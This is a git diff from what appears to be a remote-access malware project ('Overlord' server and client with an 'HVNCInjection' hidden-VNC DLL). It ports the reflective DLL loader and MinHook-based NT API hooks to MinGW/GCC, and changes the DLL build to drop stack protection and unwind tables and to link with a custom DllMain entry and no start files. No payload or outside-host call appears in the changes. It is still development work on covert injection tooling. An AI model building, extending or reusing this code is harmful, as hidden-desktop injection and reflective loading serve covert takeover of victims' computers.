diff --git a/HVNCInjection/src/NtApiHooks.c b/HVNCInjection/src/NtApiHooks.c index c2ae662..62ab2ba 100644 --- a/HVNCInjection/src/NtApiHooks.c +++ b/HVNCInjection/src/NtApiHooks.c @@ -11,8 +11,27 @@ extern "C" { #include #include +#ifdef _MSC_VER #pragma comment(lib, "libMinHook.x64.lib") #pragma comment(lib, "ntdll.lib") +#endif + +// Portable secure string helpers for MinGW compatibility +#ifndef _MSC_VER +#ifndef _HVNC_PORTABLE_CRT +#define _HVNC_PORTABLE_CRT +static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) { + if (!dst || dstSize == 0) return; + size_t toCopy = (count < dstSize - 1) ? count : dstSize - 1; + size_t i; + for (i = 0; i < toCopy && src[i] != L'\0'; i++) + dst[i] = src[i]; + dst[i] = L'\0'; +} +#define wcsncpy_s(dst, dstSize, src, count) _hvnc_wcsncpy_s((dst), (dstSize), (src), (count)) +#define sprintf_s(buf, size, ...) snprintf((buf), (size), __VA_ARGS__) +#endif +#endif // Global search and replacement strings (filled from parameter) static WCHAR g_SearchString[512] = { 0 }; diff --git a/HVNCInjection/src/ReflectiveLoader.c b/HVNCInjection/src/ReflectiveLoader.c index 7077ecf..900e436 100644 --- a/HVNCInjection/src/ReflectiveLoader.c +++ b/HVNCInjection/src/ReflectiveLoader.c @@ -47,8 +47,11 @@ RDI_NOINLINE ULONG_PTR caller(VOID) { #ifdef _MSC_VER return (ULONG_PTR)_ReturnAddress(); +#elif defined(__GNUC__) || defined(__clang__) + // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. + return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); #else - return (ULONG_PTR)__builtin_return_address(0); + return 0; #endif } //===============================================================================================// diff --git a/HVNCInjection/src/ReflectiveLoader.h b/HVNCInjection/src/ReflectiveLoader.h index 47df6f6..3e13533 100644 --- a/HVNCInjection/src/ReflectiveLoader.h +++ b/HVNCInjection/src/ReflectiveLoader.h @@ -31,7 +31,14 @@ #define WIN32_LEAN_AND_MEAN #include #include + +#ifdef _MSC_VER #include +#else +// MinGW/GCC: _rotr lives in , __readgsqword in +#include +#include +#endif #include "ReflectiveDLLInjection.h" @@ -58,14 +65,19 @@ typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); #define HASH_KEY 13 //===============================================================================================// +#ifdef _MSC_VER #pragma intrinsic( _rotr ) +#define RDI_INLINE __forceinline +#else +#define RDI_INLINE static inline __attribute__((always_inline)) +#endif -__forceinline DWORD ror(DWORD d) +RDI_INLINE DWORD ror(DWORD d) { return _rotr(d, HASH_KEY); } -__forceinline DWORD hash(char* c) +RDI_INLINE DWORD hash(char* c) { register DWORD h = 0; do diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index ceb8852..cc04d2c 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -19,10 +19,10 @@ function isClientModuleDir(dir: string): boolean { function resolveClientModuleDir(rootDir: string): string | null { const candidates = [ - path.join(rootDir, "dist", "Overlord-Client"), - path.join(rootDir, "dist", "Overlord-Client", "Overlord-Client"), path.join(rootDir, "Overlord-Client"), path.join(rootDir, "..", "Overlord-Client"), + path.join(rootDir, "dist", "Overlord-Client"), + path.join(rootDir, "dist", "Overlord-Client", "Overlord-Client"), ]; for (const dir of candidates) { diff --git a/build-hvnc-dll.sh b/build-hvnc-dll.sh index f404780..e2ddf0e 100644 --- a/build-hvnc-dll.sh +++ b/build-hvnc-dll.sh @@ -36,6 +36,7 @@ MINHOOK_DIR="$SRC_DIR/minhook" stage_minhook_tree() { local source_root="$1" + local include_root="${2:-$1}" mkdir -p "$MINHOOK_DIR/hde" cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true @@ -55,22 +56,37 @@ stage_minhook_tree() { if [ -f "$source_root/MinHook.h" ]; then cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true + elif [ -f "$include_root/MinHook.h" ]; then + cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true + cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true fi } stage_minhook_from_static_dir() { - local candidate="" + local candidate_src="" + local candidate_include="" for dir in "$MINHOOK_STATIC_DIR" "HVNCInjection/Minhook" "HVNCInjection/minhook"; do if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then - candidate="$dir" + candidate_src="$dir" + candidate_include="$dir" + break + fi + + if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then + candidate_src="$dir/src" + if [ -f "$dir/include/MinHook.h" ]; then + candidate_include="$dir/include" + else + candidate_include="$dir/src" + fi break fi done - if [ -n "$candidate" ]; then - echo "Using static MinHook source from $candidate" - stage_minhook_tree "$candidate" + if [ -n "$candidate_src" ]; then + echo "Using static MinHook source from $candidate_src" + stage_minhook_tree "$candidate_src" "$candidate_include" return 0 fi @@ -103,7 +119,7 @@ fetch_minhook() { return 1 fi - stage_minhook_tree "$tmpdir/minhook/src" + stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include" cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true mkdir -p "$SRC_DIR/include" cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true @@ -150,7 +166,7 @@ if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR "$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do if [ -f "$src" ]; then obj="${src%.c}.o" - "$CC" -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$obj" "$src" + "$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src" MINHOOK_OBJS="$MINHOOK_OBJS $obj" fi done @@ -170,6 +186,8 @@ CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64" CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" +CFLAGS="$CFLAGS -fno-stack-protector" +CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables" CFLAGS="$CFLAGS -I$SRC_DIR" if [ -n "${MINHOOK_INC:-}" ]; then CFLAGS="$CFLAGS $MINHOOK_INC" @@ -194,8 +212,11 @@ if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then LINK_LIBS="$LINK_LIBS $MINHOOK_LIB" fi -"$CC" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \ - -Wl,--no-seh -s +"$CC" -shared -nostartfiles -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \ + -Wl,--entry,DllMain \ + -Wl,--no-seh \ + -fno-stack-protector \ + -s echo "Built: $OUT_DIR/$DLL_NAME" ls -la "$OUT_DIR/$DLL_NAME"